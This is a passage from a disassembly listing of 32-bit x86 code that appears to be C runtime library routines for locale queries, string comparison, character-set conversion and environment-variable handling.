loc_4396CB: ; CODE XREF: sub_439680+Cj
; sub_439680+43j
mov esp, ebp
pop ebp
retn
sub_439680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4396D0 proc near ; CODE XREF: sub_4374C0+2Dp
; sub_439F20+81p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, ds:dword_4F331C
mov [ebp+var_4], eax
loc_4396DE: ; CODE XREF: sub_4396D0+A3j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx], 0
jz loc_439778
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov edx, [ebp+var_4]
mov eax, [edx]
push eax
push 0
push 1
call ds:dword_4F5450 ; WideCharToMultiByte
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jnz short loc_439712
or eax, 0FFFFFFFFh
jmp short loc_43977A
; ---------------------------------------------------------------------------
loc_439712: ; CODE XREF: sub_4396D0+3Bj
push 3Dh
push offset dword_43E060
push 2
mov ecx, [ebp+var_C]
push ecx
call sub_41BE70
add esp, 10h
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jnz short loc_439735
or eax, 0FFFFFFFFh
jmp short loc_43977A
; ---------------------------------------------------------------------------
loc_439735: ; CODE XREF: sub_4396D0+5Ej
push 0
push 0
mov edx, [ebp+var_C]
push edx
mov eax, [ebp+var_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_4]
mov edx, [ecx]
push edx
push 0
push 1
call ds:dword_4F5450 ; WideCharToMultiByte
test eax, eax
jnz short loc_43975C
or eax, 0FFFFFFFFh
jmp short loc_43977A
; ---------------------------------------------------------------------------
loc_43975C: ; CODE XREF: sub_4396D0+85j
push 0
mov eax, [ebp+var_8]
push eax
call sub_439F20
add esp, 8
mov ecx, [ebp+var_4]
add ecx, 4
mov [ebp+var_4], ecx
jmp loc_4396DE
; ---------------------------------------------------------------------------
loc_439778: ; CODE XREF: sub_4396D0+14j
xor eax, eax
loc_43977A: ; CODE XREF: sub_4396D0+40j
; sub_4396D0+63j ...
mov esp, ebp
pop ebp
retn
sub_4396D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439780 proc near ; CODE XREF: sub_438A00+19Cp
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43E070
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4F368C, 0
jnz short loc_4397F2
push 0
push 0
push 1
push 0
call ds:dword_4F52E4 ; GetLocaleInfoW
test eax, eax
jz short loc_4397CD
mov ds:dword_4F368C, 1
jmp short loc_4397F2
; ---------------------------------------------------------------------------
loc_4397CD: ; CODE XREF: sub_439780+3Fj
push 0
push 0
push 1
push 0
call ds:dword_4F5398 ; GetLocaleInfoA
test eax, eax
jz short loc_4397EB
mov ds:dword_4F368C, 2
jmp short loc_4397F2
; ---------------------------------------------------------------------------
loc_4397EB: ; CODE XREF: sub_439780+5Dj
xor eax, eax
jmp loc_439901
; ---------------------------------------------------------------------------
loc_4397F2: ; CODE XREF: sub_439780+2Dj
; sub_439780+4Bj ...
cmp ds:dword_4F368C, 1
jnz short loc_439816
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F52E4 ; GetLocaleInfoW
jmp loc_439901
; ---------------------------------------------------------------------------
loc_439816: ; CODE XREF: sub_439780+79j
cmp ds:dword_4F368C, 2
jnz loc_4398FF
cmp [ebp+arg_10], 0
jnz short loc_439832
mov ecx, ds:dword_4F3408
mov [ebp+arg_10], ecx
loc_439832: ; CODE XREF: sub_439780+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F5398 ; GetLocaleInfoA
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_439854
xor eax, eax
jmp loc_439901
; ---------------------------------------------------------------------------
loc_439854: ; CODE XREF: sub_439780+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_439894
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_439894: ; CODE XREF: sub_439780+FBj
cmp [ebp+var_20], 0
jnz short loc_43989E
xor eax, eax
jmp short loc_439901
; ---------------------------------------------------------------------------
loc_43989E: ; CODE XREF: sub_439780+118j
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4F5398 ; GetLocaleInfoA
test eax, eax
jnz short loc_4398BC
xor eax, eax
jmp short loc_439901
; ---------------------------------------------------------------------------
loc_4398BC: ; CODE XREF: sub_439780+136j
cmp [ebp+arg_C], 0
jnz short loc_4398DD
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 1
mov ecx, [ebp+arg_10]
push ecx
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_24], eax
jmp short loc_4398FA
; ---------------------------------------------------------------------------
loc_4398DD: ; CODE XREF: sub_439780+140j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 1
mov edx, [ebp+arg_10]
push edx
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_24], eax
loc_4398FA: ; CODE XREF: sub_439780+15Bj
mov eax, [ebp+var_24]
jmp short loc_439901
; ---------------------------------------------------------------------------
loc_4398FF: ; CODE XREF: sub_439780+9Dj
xor eax, eax
loc_439901: ; CODE XREF: sub_439780+6Dj
; sub_439780+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_439780 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439920 proc near ; CODE XREF: sub_438A00+4Bp
; sub_438A00+7Ep ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43E080
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4F3690, 0
jnz short loc_439992
push 0
push 0
push 1
push 0
call ds:dword_4F52E4 ; GetLocaleInfoW
test eax, eax
jz short loc_43996D
mov ds:dword_4F3690, 1
jmp short loc_439992
; ---------------------------------------------------------------------------
loc_43996D: ; CODE XREF: sub_439920+3Fj
push 0
push 0
push 1
push 0
call ds:dword_4F5398 ; GetLocaleInfoA
test eax, eax
jz short loc_43998B
mov ds:dword_4F3690, 2
jmp short loc_439992
; ---------------------------------------------------------------------------
loc_43998B: ; CODE XREF: sub_439920+5Dj
xor eax, eax
jmp loc_439AB1
; ---------------------------------------------------------------------------
loc_439992: ; CODE XREF: sub_439920+2Dj
; sub_439920+4Bj ...
cmp ds:dword_4F3690, 2
jnz short loc_4399B6
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F5398 ; GetLocaleInfoA
jmp loc_439AB1
; ---------------------------------------------------------------------------
loc_4399B6: ; CODE XREF: sub_439920+79j
cmp ds:dword_4F3690, 1
jnz loc_439AAF
cmp [ebp+arg_10], 0
jnz short loc_4399D2
mov ecx, ds:dword_4F3408
mov [ebp+arg_10], ecx
loc_4399D2: ; CODE XREF: sub_439920+A7j
push 0
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F52E4 ; GetLocaleInfoW
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_4399F4
xor eax, eax
jmp loc_439AB1
; ---------------------------------------------------------------------------
loc_4399F4: ; CODE XREF: sub_439920+CBj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_28], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_28]
mov [ebp+var_20], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_439A36
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_20], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_439A36: ; CODE XREF: sub_439920+FDj
cmp [ebp+var_20], 0
jnz short loc_439A40
xor eax, eax
jmp short loc_439AB1
; ---------------------------------------------------------------------------
loc_439A40: ; CODE XREF: sub_439920+11Aj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_20]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call ds:dword_4F52E4 ; GetLocaleInfoW
test eax, eax
jnz short loc_439A5E
xor eax, eax
jmp short loc_439AB1
; ---------------------------------------------------------------------------
loc_439A5E: ; CODE XREF: sub_439920+138j
cmp [ebp+arg_C], 0
jnz short loc_439A86
push 0
push 0
push 0
push 0
push 0FFFFFFFFh
mov eax, [ebp+var_20]
push eax
push 220h
mov ecx, [ebp+arg_10]
push ecx
call ds:dword_4F5450 ; WideCharToMultiByte
mov [ebp+var_24], eax
jmp short loc_439AAA
; ---------------------------------------------------------------------------
loc_439A86: ; CODE XREF: sub_439920+142j
push 0
push 0
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 0FFFFFFFFh
mov ecx, [ebp+var_20]
push ecx
push 220h
mov edx, [ebp+arg_10]
push edx
call ds:dword_4F5450 ; WideCharToMultiByte
mov [ebp+var_24], eax
loc_439AAA: ; CODE XREF: sub_439920+164j
mov eax, [ebp+var_24]
jmp short loc_439AB1
; ---------------------------------------------------------------------------
loc_439AAF: ; CODE XREF: sub_439920+9Dj
xor eax, eax
loc_439AB1: ; CODE XREF: sub_439920+6Dj
; sub_439920+91j ...
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_439920 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439AD0 proc near ; CODE XREF: sub_439680+2Dp
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_43E0D8
push offset sub_423364
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFC8h
push ebx
push esi
push edi
mov [ebp+var_18], esp
cmp ds:dword_4F3694, 0
jnz short loc_439B56
push 1
push offset dword_43D410
push 1
push offset dword_43D410
push 0
push 0
call ds:dword_4F52DC ; CompareStringW
test eax, eax
jz short loc_439B27
mov ds:dword_4F3694, 1
jmp short loc_439B56
; ---------------------------------------------------------------------------
loc_439B27: ; CODE XREF: sub_439AD0+49j
push 1
push offset dword_43D40C
push 1
push offset dword_43D40C
push 0
push 0
call ds:dword_4F52E0 ; CompareStringA
test eax, eax
jz short loc_439B4F
mov ds:dword_4F3694, 2
jmp short loc_439B56
; ---------------------------------------------------------------------------
loc_439B4F: ; CODE XREF: sub_439AD0+71j
xor eax, eax
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439B56: ; CODE XREF: sub_439AD0+2Dj
; sub_439AD0+55j ...
cmp [ebp+arg_C], 0
jle short loc_439B6F
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
call sub_439ED0
add esp, 8
mov [ebp+arg_C], eax
loc_439B6F: ; CODE XREF: sub_439AD0+8Aj
cmp [ebp+arg_14], 0
jle short loc_439B88
mov edx, [ebp+arg_14]
push edx
mov eax, [ebp+arg_10]
push eax
call sub_439ED0
add esp, 8
mov [ebp+arg_14], eax
loc_439B88: ; CODE XREF: sub_439AD0+A3j
cmp ds:dword_4F3694, 2
jnz short loc_439BB4
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F52E0 ; CompareStringA
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439BB4: ; CODE XREF: sub_439AD0+BFj
cmp ds:dword_4F3694, 1
jnz loc_439EB2
cmp [ebp+arg_18], 0
jnz short loc_439BD0
mov ecx, ds:dword_4F3408
mov [ebp+arg_18], ecx
loc_439BD0: ; CODE XREF: sub_439AD0+F5j
cmp [ebp+arg_C], 0
jz short loc_439BE0
cmp [ebp+arg_14], 0
jnz loc_439D5C
loc_439BE0: ; CODE XREF: sub_439AD0+104j
mov edx, [ebp+arg_C]
cmp edx, [ebp+arg_14]
jnz short loc_439BF2
mov eax, 2
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439BF2: ; CODE XREF: sub_439AD0+116j
cmp [ebp+arg_14], 1
jle short loc_439C02
mov eax, 1
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439C02: ; CODE XREF: sub_439AD0+126j
cmp [ebp+arg_C], 1
jle short loc_439C12
mov eax, 3
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439C12: ; CODE XREF: sub_439AD0+136j
lea eax, [ebp+var_3C]
push eax
mov ecx, [ebp+arg_18]
push ecx
call ds:dword_4F54E0 ; GetCPInfo
test eax, eax
jnz short loc_439C2B
xor eax, eax
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439C2B: ; CODE XREF: sub_439AD0+152j
; sub_439AD0+198j
cmp [ebp+arg_C], 0
jnz short loc_439C37
cmp [ebp+arg_14], 1
jz short loc_439C64
loc_439C37: ; CODE XREF: sub_439AD0+15Fj
cmp [ebp+arg_C], 1
jnz short loc_439C43
cmp [ebp+arg_14], 0
jz short loc_439C64
loc_439C43: ; CODE XREF: sub_439AD0+16Bj
push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
push 0
push 0B6h
push offset dword_43E08C
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_439C64
int 3 ; Trap to Debugger
loc_439C64: ; CODE XREF: sub_439AD0+165j
; sub_439AD0+171j ...
xor edx, edx
test edx, edx
jnz short loc_439C2B
cmp [ebp+arg_C], 0
jle short loc_439CE3
cmp [ebp+var_3C], 2
jnb short loc_439C80
mov eax, 3
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439C80: ; CODE XREF: sub_439AD0+1A4j
lea eax, [ebp+var_36]
mov [ebp+var_40], eax
jmp short loc_439C91
; ---------------------------------------------------------------------------
loc_439C88: ; CODE XREF: sub_439AD0:loc_439CD7j
mov ecx, [ebp+var_40]
add ecx, 2
mov [ebp+var_40], ecx
loc_439C91: ; CODE XREF: sub_439AD0+1B6j
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
test eax, eax
jz short loc_439CD9
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx+1]
test edx, edx
jz short loc_439CD9
mov eax, [ebp+arg_8]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx]
cmp ecx, eax
jl short loc_439CD7
mov ecx, [ebp+arg_8]
xor edx, edx
mov dl, [ecx]
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
cmp edx, ecx
jg short loc_439CD7
mov eax, 2
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439CD7: ; CODE XREF: sub_439AD0+1E8j
; sub_439AD0+1FBj
jmp short loc_439C88
; ---------------------------------------------------------------------------
loc_439CD9: ; CODE XREF: sub_439AD0+1CAj
; sub_439AD0+1D6j
mov eax, 3
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439CE3: ; CODE XREF: sub_439AD0+19Ej
cmp [ebp+arg_14], 0
jle short loc_439D5C
cmp [ebp+var_3C], 2
jnb short loc_439CF9
mov eax, 1
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439CF9: ; CODE XREF: sub_439AD0+21Dj
lea edx, [ebp+var_36]
mov [ebp+var_40], edx
jmp short loc_439D0A
; ---------------------------------------------------------------------------
loc_439D01: ; CODE XREF: sub_439AD0:loc_439D50j
mov eax, [ebp+var_40]
add eax, 2
mov [ebp+var_40], eax
loc_439D0A: ; CODE XREF: sub_439AD0+22Fj
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz short loc_439D52
mov eax, [ebp+var_40]
xor ecx, ecx
mov cl, [eax+1]
test ecx, ecx
jz short loc_439D52
mov edx, [ebp+arg_10]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_40]
xor edx, edx
mov dl, [ecx]
cmp eax, edx
jl short loc_439D50
mov eax, [ebp+arg_10]
xor ecx, ecx
mov cl, [eax]
mov edx, [ebp+var_40]
xor eax, eax
mov al, [edx+1]
cmp ecx, eax
jg short loc_439D50
mov eax, 2
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439D50: ; CODE XREF: sub_439AD0+261j
; sub_439AD0+274j
jmp short loc_439D01
; ---------------------------------------------------------------------------
loc_439D52: ; CODE XREF: sub_439AD0+243j
; sub_439AD0+24Fj
mov eax, 1
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439D5C: ; CODE XREF: sub_439AD0+10Aj
; sub_439AD0+217j
push 0
push 0
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jnz short loc_439D84
xor eax, eax
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439D84: ; CODE XREF: sub_439AD0+2ABj
mov [ebp+var_4], 0
mov eax, [ebp+var_1C]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_44], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_44]
mov [ebp+var_24], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_439DC6
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_24], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_439DC6: ; CODE XREF: sub_439AD0+2DDj
cmp [ebp+var_24], 0
jnz short loc_439DD3
xor eax, eax
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439DD3: ; CODE XREF: sub_439AD0+2FAj
mov edx, [ebp+var_1C]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
test eax, eax
jnz short loc_439DFA
xor eax, eax
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439DFA: ; CODE XREF: sub_439AD0+321j
push 0
push 0
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 9
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_439E22
xor eax, eax
jmp loc_439EB4
; ---------------------------------------------------------------------------
loc_439E22: ; CODE XREF: sub_439AD0+349j
mov [ebp+var_4], 1
mov eax, [ebp+var_20]
shl eax, 1
add eax, 3
and al, 0FCh
call sub_41EF80
mov [ebp+var_48], esp
mov [ebp+var_18], esp
mov ecx, [ebp+var_48]
mov [ebp+var_28], ecx
mov [ebp+var_4], 0FFFFFFFFh
jmp short loc_439E64
; ---------------------------------------------------------------------------
mov eax, 1
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov [ebp+var_28], 0
mov [ebp+var_4], 0FFFFFFFFh
loc_439E64: ; CODE XREF: sub_439AD0+37Bj
cmp [ebp+var_28], 0
jnz short loc_439E6E
xor eax, eax
jmp short loc_439EB4
; ---------------------------------------------------------------------------
loc_439E6E: ; CODE XREF: sub_439AD0+398j
mov edx, [ebp+var_20]
push edx
mov eax, [ebp+var_28]
push eax
mov ecx, [ebp+arg_14]
push ecx
mov edx, [ebp+arg_10]
push edx
push 1
mov eax, [ebp+arg_18]
push eax
call ds:dword_4F5454 ; MultiByteToWideChar
test eax, eax
jnz short loc_439E92
xor eax, eax
jmp short loc_439EB4
; ---------------------------------------------------------------------------
loc_439E92: ; CODE XREF: sub_439AD0+3BCj
mov ecx, [ebp+var_20]
push ecx
mov edx, [ebp+var_28]
push edx
mov eax, [ebp+var_1C]
push eax
mov ecx, [ebp+var_24]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call ds:dword_4F52DC ; CompareStringW
jmp short loc_439EB4
; ---------------------------------------------------------------------------
loc_439EB2: ; CODE XREF: sub_439AD0+EBj
xor eax, eax
loc_439EB4: ; CODE XREF: sub_439AD0+81j
; sub_439AD0+DFj ...
lea esp, [ebp-54h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_439AD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439ED0 proc near ; CODE XREF: sub_439AD0+94p
; sub_439AD0+ADp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_4]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
loc_439EE2: ; CODE XREF: sub_439ED0+35j
mov edx, [ebp+var_8]
mov eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_8], eax
test edx, edx
jz short loc_439F07
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_439F07
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
jmp short loc_439EE2
; ---------------------------------------------------------------------------
loc_439F07: ; CODE XREF: sub_439ED0+20j
; sub_439ED0+2Aj
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
test edx, edx
jnz short loc_439F19
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
jmp short loc_439F1C
; ---------------------------------------------------------------------------
loc_439F19: ; CODE XREF: sub_439ED0+3Fj
mov eax, [ebp+arg_4]
loc_439F1C: ; CODE XREF: sub_439ED0+47j
mov esp, ebp
pop ebp
retn
sub_439ED0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_439F20 proc near ; CODE XREF: sub_4396D0+92p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push esi
cmp [ebp+arg_0], 0
jz short loc_439F4C
push 3Dh
mov eax, [ebp+arg_0]
push eax
call sub_43A370
add esp, 8
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_439F4C
mov ecx, [ebp+arg_0]
cmp ecx, [ebp+var_18]
jnz short loc_439F54
loc_439F4C: ; CODE XREF: sub_439F20+Bj
; sub_439F20+22j
or eax, 0FFFFFFFFh
jmp loc_43A1FB
; ---------------------------------------------------------------------------
loc_439F54: ; CODE XREF: sub_439F20+2Aj
mov edx, [ebp+var_18]
movsx eax, byte ptr [edx+1]
neg eax
sbb eax, eax
inc eax
mov [ebp+var_14], eax
mov ecx, ds:dword_4F3314
cmp ecx, ds:dword_4F3318
jnz short loc_439F85
mov edx, ds:dword_4F3314
push edx
call sub_43A280
add esp, 4
mov ds:dword_4F3314, eax
loc_439F85: ; CODE XREF: sub_439F20+4Fj
cmp ds:dword_4F3314, 0
jnz loc_43A045
cmp [ebp+arg_4], 0
jz short loc_439FB7
cmp ds:dword_4F331C, 0
jz short loc_439FB7
call sub_4396D0
test eax, eax
jz short loc_439FB2
or eax, 0FFFFFFFFh
jmp loc_43A1FB
; ---------------------------------------------------------------------------
loc_439FB2: ; CODE XREF: sub_439F20+88j
jmp loc_43A045
; ---------------------------------------------------------------------------
loc_439FB7: ; CODE XREF: sub_439F20+76j
; sub_439F20+7Fj
cmp [ebp+var_14], 0
jz short loc_439FC4
xor eax, eax
jmp loc_43A1FB
; ---------------------------------------------------------------------------
loc_439FC4: ; CODE XREF: sub_439F20+9Bj
cmp ds:dword_4F3314, 0
jnz short loc_43A004
push 87h
push offset dword_43E0F0
push 2
push 4
call sub_41BE70
add esp, 10h
mov ds:dword_4F3314, eax
cmp ds:dword_4F3314, 0
jnz short loc_439FF9
or eax, 0FFFFFFFFh
jmp loc_43A1FB
; ---------------------------------------------------------------------------
loc_439FF9: ; CODE XREF: sub_439F20+CFj
mov eax, ds:dword_4F3314
mov dword ptr [eax], 0
loc_43A004: ; CODE XREF: sub_439F20+ABj
cmp ds:dword_4F331C, 0
jnz short loc_43A045
push 8Eh
push offset dword_43E0F0
push 2
push 4
call sub_41BE70
add esp, 10h
mov ds:dword_4F331C, eax
cmp ds:dword_4F331C, 0
jnz short loc_43A039
or eax, 0FFFFFFFFh
jmp loc_43A1FB
; ---------------------------------------------------------------------------
loc_43A039: ; CODE XREF: sub_439F20+10Fj
mov ecx, ds:dword_4F331C
mov dword ptr [ecx], 0
loc_43A045: ; CODE XREF: sub_439F20+6Cj
; sub_439F20:loc_439FB2j ...
mov edx, ds:dword_4F3314
mov [ebp+var_C], edx
mov eax, [ebp+var_18]
sub eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_43A200
add esp, 8
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jl loc_43A101
mov edx, [ebp+var_C]
cmp dword ptr [edx], 0
jz loc_43A101
cmp [ebp+var_14], 0
jz short loc_43A0F3
push 2
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ecx+eax*4]
push edx
call sub_41CA10
add esp, 8
jmp short loc_43A09F
; ---------------------------------------------------------------------------
loc_43A096: ; CODE XREF: sub_439F20+19Ej
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_43A09F: ; CODE XREF: sub_439F20+174j
mov ecx, [ebp+var_8]
mov edx, [ebp+var_C]
cmp dword ptr [edx+ecx*4], 0
jz short loc_43A0C0
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+var_8]
mov esi, [ebp+var_C]
mov edx, [esi+edx*4+4]
mov [ecx+eax*4], edx
jmp short loc_43A096
; ---------------------------------------------------------------------------
loc_43A0C0: ; CODE XREF: sub_439F20+189j
push 0B9h
push offset dword_43E0F0
push 2
mov eax, [ebp+var_8]
shl eax, 2
push eax
mov ecx, [ebp+var_C]
push ecx
call sub_41C360
add esp, 14h
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_43A0F1
mov edx, [ebp+var_C]
mov ds:dword_4F3314, edx
loc_43A0F1: ; CODE XREF: sub_439F20+1C6j
jmp short loc_43A0FF
; ---------------------------------------------------------------------------
loc_43A0F3: ; CODE XREF: sub_439F20+15Ej
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov edx, [ebp+arg_0]
mov [ecx+eax*4], edx
loc_43A0FF: ; CODE XREF: sub_439F20:loc_43A0F1j
jmp short loc_43A174
; ---------------------------------------------------------------------------
loc_43A101: ; CODE XREF: sub_439F20+148j
; sub_439F20+154j
cmp [ebp+var_14], 0
jnz short loc_43A16D
cmp [ebp+var_8], 0
jge short loc_43A115
mov eax, [ebp+var_8]
neg eax
mov [ebp+var_8], eax
loc_43A115: ; CODE XREF: sub_439F20+1EBj
push 0CEh
push offset dword_43E0F0
push 2
mov ecx, [ebp+var_8]
lea edx, ds:8[ecx*4]
push edx
